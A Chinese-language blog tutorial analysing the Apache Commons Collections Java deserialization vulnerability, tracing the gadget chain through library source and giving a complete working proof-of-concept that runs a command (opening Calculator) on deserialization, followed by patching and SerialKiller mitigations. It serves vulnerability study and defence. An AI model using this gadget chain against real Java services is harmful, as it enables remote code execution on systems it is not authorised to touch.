探秘Java反序列化漏洞三:CommonsCollections反序列化漏洞分析
通过前两篇文章,我们已经明白了序列化与反序列化的过程,事实上反序列化漏洞简单来说就是应用在对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行
要说Java反序列化漏洞,最经典的可能就是Apache CommonsCollections,由于其为Apache开源项目的重要组件,所以使用量非常大,从而影响了大量Java Web Server,这个漏洞横扫当时WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,可以说对于反序列化安全有着重要意义
漏洞分析
org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架
首先我们先来看其调用链
AnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnotationInvocationHandler.invoke()
members(LazyMap).get()
ChainedTransformer.transform()
ConstantTransformer.transform()
Runtime.class
InvokerTransformer.transform()
getMethod("getRuntime",new Class[]{})
InvokerTransformer.transform()
invoke(null,new Object[]{})
InvokerTransformer.transform()
exec("calc")
该漏洞问题主要出现在org.apache.commons.collections.Transformer
接口
上
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
可以看到该接口调用了一个方法transform
其作用是为了给定一个Object对象经过转换后同时也返回一个Object
在其实现类中我们主要跟进InvokerTransformer
,ConstantTransformer
,ChainedTransformer

1.InvokerTransformer
可以看到其中属性为典型的反射格式:方法名,方法参数,实参

我们来看其transform(Object input)
如下
public Object transform(Object input) {
if(input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
可以看到该方法中采用了反射的方法进行函数调用,而重点是这里的三个属性都为我们的可控参数
2.ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
该方法返回iConstant
属性,该属性也为可控参数
3.ChainedTransformer
这是一个利用的关键类
public static Transformer getInstance(Transformer[] transformers) {
FunctorUtils.validate(transformers);
if(transformers.length == 0) {
return NOPTransformer.INSTANCE;
} else {
transformers = FunctorUtils.copy(transformers);
return new ChainedTransformer(transformers);
}
}
可以看到,其构造方法中接收了Transformer
数组,接下来
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
这个比较有意思,可以看出它使用了for循环来调用Transformer
数组的transform
方法,并且使用了object作为后一个调用transform
方法的参数
也就是说我们现在可以通过结合上述三种方法来实现之前弹出计算器的操作
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"open /Applications/Calculator.app"})};
Transformer transformedChain = new ChainedTransformer(transformers);

根据我们开始给出的调用链可以知道LazyMap
(实现了Map接口)其中(当然也有其他的)调用了transform
方法
public Object get(Object key) {
if(!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
在上述代码中会判断当前Map中是否已经有该key,如果没有会交给factory.transform
来处理
其facory
初始化是通过下方代码来完成
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if(factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
所以说,我们为了调用transform
方法,需要找到LazyMap
并调用其get
方法。也就是说,我们需要在对象进行反序列化时调用我们精心构造对象的get
方法,而如何能在反序列化时触发LazyMap
的get
方法,这时候我们就要利用sun.reflect.annotation.AnnotationInvocationHandler
类(JDK1.7)
我们先来看下其结构

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if(var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
该类实现了序列化接口,同时其中type
,memberValues
可控
接着往下看readObject
方法,这里的memberValues
是我们通过构造AnnotationInvocationHandler
构造函数初始化的变量,也就是我们构造的LazyMap
对象
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if(var7 != null) {
Object var8 = var5.getValue();
if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
可以看到在readObject
方法中并未找到LazyMap
的get
方法,但是我们发现在invoke
方法中memberValues.get(Object)
被调用

这里比较强,在看大佬的POC时发现使用的是动态代理方式构造,因为AnnotationInvocationHandler
实现了InvocationHandler
接口,所以我们可以使用newProxyInstance(ClassLoader loader,Class<?>[]interfaces,InvocationHandler h)
生成动态代理,这样在调用对象的时候就会调用InvocationHandler.invoke
方法从而执行我们想要的get
方法,最终成果执行恶意代码
POC
public class CCPoc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{"open /Applications/Calculator.app"})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
//设置代理
Class[] interfaces = new Class[]{java.util.Map.class};
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
System.out.println("Saving serialized object in test.ser");
FileOutputStream fos = new FileOutputStream("test.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handlerProxy);
oos.flush();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
Object s = ois.readObject();
ois.close();
}
}

总结
攻击调用链

通用解决方案
更新Apache Commons Collections库
Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
lib地址:https://github.com/ikkisoft/SerialKiller
下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。
参考资料
https://www.cnblogs.com/ssooking/p/5875215.html
https://www.anquanke.com/post/id/82934
https://paper.seebug.org/312/
近期评论